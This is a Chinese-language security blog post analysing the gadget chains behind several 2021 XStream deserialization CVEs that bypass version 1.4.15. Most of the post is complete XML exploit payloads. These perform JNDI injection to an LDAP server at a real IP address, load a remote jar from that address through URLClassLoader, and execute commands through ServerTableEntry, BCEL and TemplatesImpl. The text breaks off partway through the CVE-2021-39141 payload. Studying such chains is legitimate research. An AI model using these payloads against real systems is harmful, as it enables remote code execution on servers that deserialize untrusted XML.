Diggid's Blog

XStream 反序列化漏洞(3) - CVE-2021-xxx系列

字数统计: 13.5k阅读时长: 77 min
2021/08/19 Share

前言

接着上一篇,看一下新的绕过方式。2021系列是针对1.4.15版本进行的绕过。

SerializableConverter

看一下官方定义

image-20210819195910194

其优先级是low,比ReflectionConverter高,前面知道,当一个类没有具体转换器(Special Converter)的时候,会分配优先级最低的ReflectionConverter,但在同样的情况下,如果一个类实现了java.io.Serializable接口且重写了readObjectwriteObject方法,根据优先级关系,会分配到SerializableConverter(ExternalizableConverter同理)。而且,在unmarshal方法中,会调用对应类的readObject方法(如果没有重写readObject的话,会调用XStream自定义的类来处理反序列化)

image-20210819201655447

image-20210819201722478

那么思路就来了:找一个没有具体Converter的类,实现Serializable(Externalizable)并重写了readObject方法(Externalizable不要求重写),同时在该类中,存在this.xxx.toString()的调用形式,那么就可以形成一条新的toString链或者从readObject开始找新的Sink点,比如ClassLoader远程加载类RCE、找新的反射、找新的命令执行点。

还有一种思路是:继续原来2020系列的HashMap#hash() -> xxx#hashCode(),若能在xxx类的hashCode方法中找到this.xxx.toString的形式也可以,但这种方式在2021系列没有出现,估计是比较难找。

CVE-2021-21344

影响版本

  • 1.4.1 - 1.4.15

POC

由于最后的Sink是反射调用任意类的无参方法(除了final外没有访问限制),比较好用的(可以挖掘的):

  • ProcessBuilder RCE
  • JNDI注入
  • 任意文件操作
  • SSRF
  • XXE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
<java.util.PriorityQueue serialization="custom">
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class="sun.awt.datatransfer.DataTransferer$IndexOrderComparator">
<order>false</order>
<indexMap class="com.sun.xml.internal.ws.client.ResponseContext">
<packet>
<satellites class="java.util.IdentityHashMap" serialization="custom">
<unserializable-parents/>
<java.util.IdentityHashMap>
<default>
<size>0</size>
</default>
<int>0</int>
</java.util.IdentityHashMap>
</satellites>
<message class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart">
<dataSource class="com.sun.xml.internal.ws.message.JAXBAttachment">
<jaxbObject class="com.sun.rowset.JdbcRowSetImpl" serialization="custom">
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>0</concurrency>
<escapeProcessing>false</escapeProcessing>
<fetchDir>0</fetchDir>
<fetchSize>0</fetchSize>
<isolation>0</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>false</readOnly>
<rowSetType>0</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>ldap://IP:1389/Evil</dataSource>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</jaxbObject>
<bridge class="com.sun.xml.internal.ws.db.glassfish.BridgeWrapper">
<bridge class="com.sun.xml.internal.bind.v2.runtime.BridgeImpl">
<context>
<marshallerPool class="com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1">
<outer-class reference="../.."/>
</marshallerPool>
<nameList>
<namespaceURIs>
<string>test</string>
</namespaceURIs>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<localNames>
<string>test</string>
</localNames>
<numberOfElementNames>0</numberOfElementNames>
<numberOfAttributeNames>0</numberOfAttributeNames>
</nameList>
<c14nSupport>false</c14nSupport>
<xmlAccessorFactorySupport>false</xmlAccessorFactorySupport>
<allNillable>false</allNillable>
<retainPropertyInfo>false</retainPropertyInfo>
<supressAccessorWarnings>false</supressAccessorWarnings>
<improvedXsiTypeHandling>false</improvedXsiTypeHandling>
<disableSecurityProcessing>false</disableSecurityProcessing>
<hasSwaRef>false</hasSwaRef>
<fastBoot>false</fastBoot>
</context>
<bi class="com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl">
<isNilIncluded>false</isNilIncluded>
<flag>0</flag>
<jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
<inheritedAttWildcard class="com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection">
<getter>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>getDatabaseMetaData</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
<retainPropertyInfo>true</retainPropertyInfo>
<uriProperties class="com.sun.xml.internal.bind.v2.runtime.property.ValueProperty-array"/>
</bi>
</bridge>
</bridge>
</dataSource>
</message>
<wasTransportSecure>false</wasTransportSecure>
<isAdapterDeliversNonAnonymousResponse>false</isAdapterDeliversNonAnonymousResponse>
<packetTakesPriorityOverRequestContext>false</packetTakesPriorityOverRequestContext>
<invocationProperties>
<entry>
<string>javax.xml.ws.binding.attachments.inbound</string>
<map/>
</entry>
</invocationProperties>
<isFastInfosetDisabled>false</isFastInfosetDisabled>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

分析

链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
com.thoughtworks.xstream.converters.reflection.SerializableConverter#doUnmarshal
com.thoughtworks.xstream.converters.reflection.SerializationMembers#callReadObject
java.util.PriorityQueue#readObject()
java.util.PriorityQueue#heapify
java.util.PriorityQueue#siftDown
java.util.PriorityQueue#siftDownUsingComparator
sun.awt.datatransfer.DataTransferer$IndexOrderComparator#compare()
sun.awt.datatransfer.DataTransferer$IndexOrderComparator#compareIndices
com.sun.xml.internal.ws.client.ResponseContext#get() -> this.packet.getMessage().getAttachments()
com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart#getAttachments()
com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart#getMessage
com.sun.xml.internal.ws.message.JAXBAttachment#getInputStream()
com.sun.xml.internal.ws.message.JAXBAttachment#asInputStream
com.sun.xml.internal.ws.db.glassfish.BridgeWrapper#marshal() //多个重载方法
com.sun.xml.internal.bind.v2.runtime.BridgeImpl#marshal() //实际调用的com.sun.xml.internal.bind.api.Bridge
com.sun.xml.internal.bind.v2.runtime.BridgeImpl#marshal //参数不同
com.sun.xml.internal.bind.v2.runtime.MarshallerImpl#write()
com.sun.xml.internal.bind.v2.runtime.XMLSerializer#childAsXsiType()
com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl#serializeURIs()
com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection#get() // invoke Sink点

这个链子很长。挑一些关键部分来说一下,其他部分直接跟进即可。

Source - PriorityQueue#readObject

下断在PriorityQueue#readObject处,熟悉CC4链子的肯定很熟悉PriorityQueue这个类,所以直接跟进到siftDown方法。

image-20210820125532644

这里设置了Comparator,继续跟进,会调用comparator.compare。所以这里又是一条compare方法的链子

image-20210820125642237

一直跟进到DataTransferer$IndexOrderComparator#compareIndices(),该方法中用两个可利用的连接点

  • var0.get(var):这里要求var0传入时就是Map及其子类,所以这里不能直接连接到Sink点
  • var4.compareTo(var5):这是一条compareTo的链子,保留观察。

image-20210820130221258

Medium - BridgeImpl#marshal

中间的部分就不说了,调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
writeTo:109, JAXBAttachment (com.sun.xml.internal.ws.message)
asInputStream:99, JAXBAttachment (com.sun.xml.internal.ws.message)
getInputStream:125, JAXBAttachment (com.sun.xml.internal.ws.message)
getMessage:366, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:465, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:103, MessageWrapper (com.sun.xml.internal.ws.api.message)
get:111, ResponseContext (com.sun.xml.internal.ws.client)
compareIndices:2492, DataTransferer$IndexedComparator (sun.awt.datatransfer)
compare:2971, DataTransferer$IndexOrderComparator (sun.awt.datatransfer)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)

跟一下JAXBAttachment#writeTo。可以看到这里的this.jaxObject是我们POC中设置的JdbcRowSetImpl对象

image-20210820130951939

而这里的this.bridge设置的是BridgeWrapper,具体看一下该类的marshal方法,跟进可以看到,基本一模一样的调用,那为什么这里要两次不同的this.bridge.marshal调用呢?因为两次this.bridge的类型不同,第一次是XMLBridge接口,第二次是Bridge接口,而我们想要连接的BridgeImpl是实现了Bridge接口的,所以要两次调用。

image-20210820131324881

BridgeImpl#marshal(T object, ...)实际是调用的Bridge#marshal(T object, ...)

image-20210820131808321

注意这里的this.context.marshallerPool.take(),对应的POC是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>

JAXBContextImpl$1是一个内部匿名类,定义如下。关于匿名类的知识,可以参考

https://www.cnblogs.com/sqp51312/p/6100314.html

https://zhuanlan.zhihu.com/p/93660248

image-20210820133735162

先调用Pool$Impl已经定义的take()方法,然后再回调内部匿名类重写的create方法。所以最后会返回一个MarshallerImpl对象。

image-20210820133646970

image-20210820132230625

image-20210820132255112

并且<context>标签下设置的内容(即JAXBContextImpl对象)会存到MarshallerImpl这个对象的context属性中,同时创建XMLSerializer并保存在serializer属性中,参数关系如下:

image-20210820134436232

image-20210820134540058

最后调用回BridgeImpl#marshal(Marshaller _m, T t, OutputStream output, NamespaceContext nsContext)这个方法

image-20210820134707888

继续跟进

image-20210820134834385

image-20210820134902487

一直到XMLSerializer#childAsXsiType()方法中,先调用pushObject将child存起来,这不用管,只需要知道这里的child不会改变,仍然是JdbcRowSetImpl

image-20210820135655071

所以asExpected为true要求设置ClassBeanInfoImpl.jaxbType也是JdbcRowSetImpl

image-20210820135819295

随后调用classBeanInfoImpl#serializeURIs()

image-20210820135905598

Sink - Accessor$GetterSetterReflection#get

进入ClassBeanInfoImpl#serializeURIs()后,这里的this.inheritedAttWildcard和bean可控,就可以调用到我们的Sink点了,在Accessor$GetterSetterReflection#get()中调用反射完成恶意操作

image-20210820135935542

image-20210820135945782

后面就是JdbcRowSetImpl实现JNDI注入的过程了,对于该类,有几个点可以调用到connect方法实现JNDI注入

  • getDatabaseMetaData
  • setAutoCommit(FastJson中的)

image-20210820140018770

image-20210820140031674

CVE-2021-21345

该链复用了21344,直接调用Runtime.getRuntime.exec()来RCE,最后反射Sink点由原先的JdbcRowSetImpl换为ServerTableEntry#verify,因为在1.4.14版本已经ban调了ProcessBuilder,所以只能另找其他类来RCE

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
<java.util.PriorityQueue serialization="custom">
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class="sun.awt.datatransfer.DataTransferer$IndexOrderComparator">
<order>false</order>
<indexMap class="com.sun.xml.internal.ws.client.ResponseContext">
<packet>
<satellites class="java.util.IdentityHashMap" serialization="custom">
<unserializable-parents/>
<java.util.IdentityHashMap>
<default>
<size>0</size>
</default>
<int>0</int>
</java.util.IdentityHashMap>
</satellites>
<message class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart">
<dataSource class="com.sun.xml.internal.ws.message.JAXBAttachment">
<jaxbObject class="com.sun.corba.se.impl.activation.ServerTableEntry">
<state>0</state>
<serverId>0</serverId>
<activateRetryCount>0</activateRetryCount>
<activationCmd>open /System/Applications/Calculator.app</activationCmd>
<debug>false</debug>
</jaxbObject>
<bridge class="com.sun.xml.internal.ws.db.glassfish.BridgeWrapper">
<bridge class="com.sun.xml.internal.bind.v2.runtime.BridgeImpl">
<context>
<marshallerPool class="com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1">
<outer-class reference="../.."/>
</marshallerPool>
<nameList>
<namespaceURIs>
<string>test</string>
</namespaceURIs>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<localNames>
<string>test</string>
</localNames>
<numberOfElementNames>0</numberOfElementNames>
<numberOfAttributeNames>0</numberOfAttributeNames>
</nameList>
<c14nSupport>false</c14nSupport>
<xmlAccessorFactorySupport>false</xmlAccessorFactorySupport>
<allNillable>false</allNillable>
<retainPropertyInfo>false</retainPropertyInfo>
<supressAccessorWarnings>false</supressAccessorWarnings>
<improvedXsiTypeHandling>false</improvedXsiTypeHandling>
<disableSecurityProcessing>false</disableSecurityProcessing>
<hasSwaRef>false</hasSwaRef>
<fastBoot>false</fastBoot>
</context>
<bi class="com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl">
<isNilIncluded>false</isNilIncluded>
<flag>0</flag>
<jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
<inheritedAttWildcard class="com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection">
<getter>
<class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
<name>verify</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
<retainPropertyInfo>true</retainPropertyInfo>
<uriProperties class="com.sun.xml.internal.bind.v2.runtime.property.ValueProperty-array"/>
</bi>
</bridge>
</bridge>
</dataSource>
</message>
<wasTransportSecure>false</wasTransportSecure>
<isAdapterDeliversNonAnonymousResponse>false</isAdapterDeliversNonAnonymousResponse>
<packetTakesPriorityOverRequestContext>false</packetTakesPriorityOverRequestContext>
<invocationProperties>
<entry>
<string>javax.xml.ws.binding.attachments.inbound</string>
<map/>
</entry>
</invocationProperties>
<isFastInfosetDisabled>false</isFastInfosetDisabled>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

分析

链子就不多分析了,直接看一下com.sun.corba.se.impl.activation.ServerTableEntry#verify方法,赤裸裸的RCE

image-20210820164202081

CVE-2021-21347

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<java.util.PriorityQueue serialization="custom">
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class="javafx.collections.ObservableList$1"/>
</default>
<int>3</int>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="java.io.SequenceInputStream">
<e class="javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator">
<iterator class="com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator">
<names class="java.util.ArrayList$Itr">
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<string>EvilUrl</string>
</outer-class>
</names>
<processorCL class="java.net.URLClassLoader">
<package2certs/>
<classes/>
<domains/>
<defaultAssertionStatus>false</defaultAssertionStatus>
<initialized>true</initialized>
<pdcache/>
<ucp>
<path>
<url>http://101.132.159.30:7777/EvilUrl.jar</url>
</path>
<urls serialization="custom">
<unserializable-parents/>
<vector>
<default>
<capacityIncrement>0</capacityIncrement>
<elementCount>1</elementCount>
<elementData>
<url>http://101.132.159.30:7777/EvilUrl.jar</url>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
</elementData>
</default>
</vector>
</urls>
<loaders/>
<lmap/>
<closed>false</closed>
</ucp>
</processorCL>
</iterator>
<type>KEYS</type>
</e>
<in class="java.io.ByteArrayInputStream">
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
</dataHandler>
<dataLen>0</dataLen>
</com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference="../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

分析

  • 链子
1
2
3
4
5
6
7
8
9
10
PriorityQueue#readObject() -> 设置comparator
javafx.collections.ObservableList$1#compare()
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString()
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom()
java.io.SequenceInputStream#read()
java.io.SequenceInputStream#nextStream
javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator#hasMoreElements()
com.sun.tools.javac.processing.JavacProcessingEnvironment.NameProcessIterator#hasNext()
-> this.processorCL.loadClass(var1)
  • 调用栈
1
2
3
4
5
6
7
8
9
10
11
12
hasNext:417, JavacProcessingEnvironment$NameProcessIterator (com.sun.tools.javac.processing)
hasMoreElements:148, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing)
nextStream:109, SequenceInputStream (java.io)
read:211, SequenceInputStream (java.io)
readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util)
get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
compare:153, ObservableList$1 (javafx.collections)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)

特征:

  • Source:PriorityQueue带comparator,是ObservableList$1
  • toString链:
    • javafx.collections.ObservableList$1#compare()
    • com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString()
  • nextStream链,复用了之前2020-JNDI的部分
  • Sink:NameProcessIterator#hasNext -> this.processorCL.loadClass(var1)
    • this.processorCL:可控,可以设置为任意ClassLoader
    • var1可控,可以设置为要加载初始化的类
  • 触发点
    • URLClassLoader#loadClass
    • com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass

CVE-2021-21350

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<java.util.PriorityQueue serialization="custom">
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class="javafx.collections.ObservableList$1"/>
</default>
<int>3</int>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="java.io.SequenceInputStream">
<e class="javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator">
<iterator class="com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator">
<names class="java.util.ArrayList$Itr">
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<string>$$BCEL$$...</string>
</outer-class>
</names>
<processorCL class="com.sun.org.apache.bcel.internal.util.ClassLoader">
<parent class="sun.misc.Launcher$ExtClassLoader">
<defaultAssertionStatus>false</defaultAssertionStatus>
<initialized>false</initialized>
</parent>
<package2certs/>
<classes defined-in="java.lang.ClassLoader"/>
<defaultDomain>
<classloader class="com.sun.org.apache.bcel.internal.util.ClassLoader" reference="../.."/>
<hasAllPerm>false</hasAllPerm>
<staticPermissions>false</staticPermissions>
</defaultDomain>
<domains/>
<defaultAssertionStatus>false</defaultAssertionStatus>
<classes/>
<ignored__packages>
<string>java.</string>
<string>javax.</string>
<string>sun.</string>
</ignored__packages>
<deferTo class="sun.misc.Launcher$ExtClassLoader" reference="../parent"/>
</processorCL>
</iterator>
<type>KEYS</type>
</e>
<in class="java.io.ByteArrayInputStream">
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
</dataHandler>
<dataLen>0</dataLen>
</com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference="../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

分析

和21347一样,只不过最后是调用BCEL的ClassLoader来加载恶意类,有jdk版本限制,在8u251之后BCEL的ClassLoader被移除了

CVE-2021-21351

这是第三种类型的链,和前两种不一样。该链是一条新的toString链,也可以配合2020的JNDI注入来构造成新的链子。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<tree-map>
<entry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>xxx</type>
<value class="com.sun.org.apache.xpath.internal.objects.XRTreeFrag">
<m__DTMXRTreeFrag>
<m__dtm class="com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM">
<m__size>-10000</m__size>
<m__shouldStripWS>false</m__shouldStripWS>
<m__indexing>false</m__indexing>
<m__incrementalSAXSource class="com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces">
<fPullParserConfig class="com.sun.rowset.JdbcRowSetImpl" serialization="custom">
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>0</concurrency>
<escapeProcessing>false</escapeProcessing>
<fetchDir>0</fetchDir>
<fetchSize>0</fetchSize>
<isolation>0</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>false</readOnly>
<rowSetType>0</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>ldap://101.132.159.30:1389/Evil</dataSource>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</fPullParserConfig>
<fConfigSetInput>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>setAutoCommit</name>
<parameter-types>
<class>boolean</class>
</parameter-types>
</fConfigSetInput>
<fConfigParse reference="../fConfigSetInput"/>
<fParseInProgress>false</fParseInProgress>
</m__incrementalSAXSource>
<m__endDocumentOccured>false</m__endDocumentOccured>
<m__textPendingStart>0</m__textPendingStart>
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
<m__pastFirstElement>false</m__pastFirstElement>
</m__dtm>
<m__dtmIdentity>0</m__dtmIdentity>
</m__DTMXRTreeFrag>
<m__dtmRoot>-1</m__dtmRoot>
<m__allowRelease>false</m__allowRelease>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<string>b</string>
</entry>
<entry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>xxx</type>
<value class="com.sun.org.apache.xpath.internal.objects.XString"/>
</javax.naming.ldap.Rdn_-RdnEntry>
<string>a</string>
</entry>
</tree-map>

分析

  • 链子
1
2
3
4
5
6
7
8
9
10
11
com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap()
java.util.TreeMap#put()
javax.naming.ldap.Rdn$RdnEntry#compareTo()
com.sun.org.apache.xpath.internal.objects.XString#equals()
com.sun.org.apache.xpath.internal.objects.XRTreeFrag#toString()
com.sun.org.apache.xpath.internal.objects.XRTreeFrag#str
com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM#getStringValue()
com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM#_firstch
com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM#nextNode
com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces#deliverMoreNodes()
com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces#parseSome -> Method.invoke(xxx,xxx)
  • 调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset) <- Method.invoke(xxx,xxx)
parseSome:373, IncrementalSAXSource_Xerces (com.sun.org.apache.xml.internal.dtm.ref)
deliverMoreNodes:312, IncrementalSAXSource_Xerces (com.sun.org.apache.xml.internal.dtm.ref)
nextNode:814, SAX2DTM (com.sun.org.apache.xml.internal.dtm.ref.sax2dtm)
_firstch:535, DTMDefaultBase (com.sun.org.apache.xml.internal.dtm.ref)
getStringValue:1294, SAX2DTM (com.sun.org.apache.xml.internal.dtm.ref.sax2dtm)
str:207, XRTreeFrag (com.sun.org.apache.xpath.internal.objects)
toString:314, XObject (com.sun.org.apache.xpath.internal.objects)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
compareTo:441, Rdn$RdnEntry (javax.naming.ldap)
compareTo:420, Rdn$RdnEntry (javax.naming.ldap)
put:568, TreeMap (java.util)
putAll:281, AbstractMap (java.util)
putAll:327, TreeMap (java.util)
populateTreeMap:121, TreeMapConverter (com.thoughtworks.xstream.converters.collections)

特征:

  • Source:PriorityQueue或TreeMap不带comparator

  • toString链:

    • 先调用javax.naming.ldap.Rdn$RdnEntry#compareTo(XString)
    • 再调用com.sun.org.apache.xpath.internal.objects.XString#equals(),其中可调用任意类toString()方法
    • com.sun.org.apache.xpath.internal.objects.XRTreeFrag#toString()
  • Sink:IncrementalSAXSource_Xerces#parseSome -> method.invoke(xxx,new Boolen(false) 或者 null)

    • method可控,但没设setAccessible
    • fPullParserConfig可控
    • 参数不可控,两种原则,由fConfigSetInput变量决定
      • 是Boolen false
      • null
    • 两种:
      • 调用任意public且参数类型是Boolen或boolean
      • 调用任意public无参

    image-20210830160928708

  • 触发点:

    • JdbcRowSetImpl#setAutoCommit()
    • JdbcRowSetImpl#getMetaData()

CVE-2021-39139

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<map>
<entry>
<dynamic-proxy>
<interface>javax.xml.transform.Templates</interface>
<handler class="sun.reflect.annotation.AnnotationInvocationHandler" serialization="custom">
<sun.reflect.annotation.AnnotationInvocationHandler>
<default>
<memberValues>
<entry>
<string>f5a5a608</string>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization="custom">
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>diggid</__name>
<__bytecodes>
<byte-array>xxx</byte-array>
</__bytecodes>
<__transletIndex>0</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
<boolean>false</boolean>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</entry>
</memberValues>
<type>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</type>
</default>
</sun.reflect.annotation.AnnotationInvocationHandler>
</handler>
</dynamic-proxy>
<string>foo</string>
</entry>
<entry>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference="../../entry/dynamic-proxy/handler/sun.reflect.annotation.AnnotationInvocationHandler/default/memberValues/entry/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"/>
<string>foo</string>
</entry>
</map>

分析

  • 链子

Jdk7u21的链子,以HashMap#put()触发,再封装一层还有LinkedHashSet#add()

1
2
3
4
5
HashMap#put()
HashMap#putVal
Proxy#equals()
AnnotationInvocationHandler#invoke()
AnnotationInvocationHandler#equalsImpl -> 遍历proxy接口(Template)的方法,反射调用getOutputProperties

CVE-2021-39141 & 39150

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
<java.util.PriorityQueue serialization="custom">
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="com.sun.xml.internal.ws.client.sei.SEIStub">
<owner/>
<managedObjectManagerClosed>false</managedObjectManagerClosed>
<databinding class="com.sun.xml.internal.ws.db.DatabindingImpl">
<stubHandlers>
<entry>
<method>
<class>javax.naming.InitialContext</class>
<name>doLookup</name>
<parameter-types>
<class>java.lang.String</class>
</parameter-types>
</method>
<com.sun.xml.internal.ws.client.sei.StubHandler>
<bodyBuilder class="com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit">
<indices>
<int>0</int>
</indices>
<getters>
<com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
